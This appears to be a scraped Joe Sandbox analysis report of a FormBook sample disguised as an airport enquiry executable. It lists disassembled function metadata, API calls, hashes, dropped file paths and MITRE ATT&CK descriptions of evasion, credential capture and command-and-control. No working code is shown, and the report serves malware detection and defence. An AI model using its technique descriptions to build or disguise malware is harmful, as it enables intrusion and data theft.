String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: a0608d7d9e080fb1184407fac77cdbd071e4b0b17f05fdda7b73fdab257a7f19
Instruction ID: acdccb89cfc839af30463692c8fdc8480315e5784335b30c1b03d5084c095c0f
Opcode Fuzzy Hash: a0608d7d9e080fb1184407fac77cdbd071e4b0b17f05fdda7b73fdab257a7f19
Instruction Fuzzy Hash: 8711A535600309ABDB20AF64CC86FBDB374FF44324F108617EA1597391DB71A919D756

Function 00CD92E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00CDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB0E7

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00CD9355

Strings

ComboBox, xrefs: 00CD92F4
ListBox, xrefs: 00CD931F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: c5fbf013eb9ebf738453ccb62ceee876602117fe6a541763f1bb328a10aa0017
Instruction ID: 7ee0fa2a98af187c4987d8d1dab2fadbb506e67c1b7329bf80e769bc096d7bae
Opcode Fuzzy Hash: c5fbf013eb9ebf738453ccb62ceee876602117fe6a541763f1bb328a10aa0017
Instruction Fuzzy Hash: DF01B575A05214ABCB04FBA5CC918FE7769FF06720B14071AFA32573D1DB31690CA760

Function 00CD91DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00CDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB0E7

SendMessageW.USER32(?,00000180,00000000,?), ref: 00CD924D

Strings

ComboBox, xrefs: 00CD91EC
ListBox, xrefs: 00CD9217

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 8e4af9d98b16dc11461a880eead56c7cd747ca8eb9c9531c7a6236a5a700caca
Instruction ID: ca3b3c3add08ae453c11e1bc47cd11c1eef408b29282d99a2acf8d28ba23c325
Opcode Fuzzy Hash: 8e4af9d98b16dc11461a880eead56c7cd747ca8eb9c9531c7a6236a5a700caca
Instruction Fuzzy Hash: 1B018875A411047BCB14FBA0C992DFF73A8DF15700F24011A7612673C1EA61AF1CA775

Function 00CD9264 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00CDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB0E7

SendMessageW.USER32(?,00000182,?,00000000), ref: 00CD92D0

Strings

ComboBox, xrefs: 00CD9271
ListBox, xrefs: 00CD929C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 9d42ea54a476f64287e6b8682a94f70be6e61d0b3557334badd8ca76dff028ef
Instruction ID: 6638e8a0cbf60d505f011be5b4e5767a2068d7609bd39d782940c8f92c7956b2
Opcode Fuzzy Hash: 9d42ea54a476f64287e6b8682a94f70be6e61d0b3557334badd8ca76dff028ef
Instruction Fuzzy Hash: 05018475A411047BCB04FAA0C992AFF77A8DB11700F2401167A1263291DB619F0CA275

Function 00CE51CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00CE51E8
_wcscmp.LIBCMT ref: 00CE51FA

Strings

#32770, xrefs: 00CE51F4

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 33ac10eea4ad0258a05f3bfb2bd0b6b689891c49c8ba6cf3e34e49cdd9f32b98
Instruction ID: a47d2ae107790e37f04b654c65340180eb6a17c0d6e5e308d7b3c40174409d03
Opcode Fuzzy Hash: 33ac10eea4ad0258a05f3bfb2bd0b6b689891c49c8ba6cf3e34e49cdd9f32b98
Instruction Fuzzy Hash: 10E06833A0032D2BE3209B9AAC09FA7F7ACEB41731F00006BFD14D3140E660AA448BF1

Function 00CD81BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00CD81CA

Part of subcall function 00CA3598: _doexit.LIBCMT ref: 00CA35A2

Strings

AutoIt, xrefs: 00CD81BE
Error allocating memory., xrefs: 00CD81C3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 673fc929902188fc9255b6bca534771b3b090d8c224bb323c9e5b702d896e841
Instruction ID: 45faea289e7d1ee26384f9f7cb520720907ff91cbbf98cb94bd9bbc7da9dae6d
Opcode Fuzzy Hash: 673fc929902188fc9255b6bca534771b3b090d8c224bb323c9e5b702d896e841
Instruction Fuzzy Hash: F6D05B323C535936D21533E97C07FCA75884B05B55F144016BB08955D38ED295D552FD

Function 00CBB511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00CBB564: _memset.LIBCMT ref: 00CBB571

Part of subcall function 00CA0B84: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00CBB540,?,?,?,00C8100A), ref: 00CA0B89

IsDebuggerPresent.KERNEL32(?,?,?,00C8100A), ref: 00CBB544
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00C8100A), ref: 00CBB553

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00CBB54E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 4c4b97718580f9d8946c7e7046699476863433354c77bca2b2d7c15083741f7c
Instruction ID: 34b75b05e1d4907416a45ef051d35df14a1ef13c43ae6c380e07193e34056b11
Opcode Fuzzy Hash: 4c4b97718580f9d8946c7e7046699476863433354c77bca2b2d7c15083741f7c
Instruction Fuzzy Hash: 7DE039B02003118FD730DF28E5083827AE0AB01758F14892CF456C2760D7B4E848CB72

Function 00D05BEB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D05BF5
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00D05C08

Part of subcall function 00CE54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE555E

Strings

Shell_TrayWnd, xrefs: 00D05BEE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: bb0df3198786cded7a8e01c212989c5bcc9c3597097f0839115d73e7acd155c0
Instruction ID: 6460ef697ff2d093fdd8e95886caa072820ec9c4995cddda620c62afa6565db2
Opcode Fuzzy Hash: bb0df3198786cded7a8e01c212989c5bcc9c3597097f0839115d73e7acd155c0
Instruction Fuzzy Hash: 53D01231388311BBE778BB70EC0FFD76A14AB10B51F100839B749EA2D0D9E45800C660

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New Al Maktoum International Airport Enquiry Ref #2401249.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut39CA.tmp

C:\Users\user\AppData\Local\Temp\aut39FA.tmp

C:\Users\user\AppData\Local\Temp\spiketop

C:\Users\user\AppData\Local\Temp\wainage

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
New Al Maktoum International Airport Enquiry Ref #2401249.exe

Function 00C83B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 00C84AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00C84FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00CE93DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00C83018 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 70
windowregistryCOMMON

Function 00C83041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00C871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00C83A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00C83633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre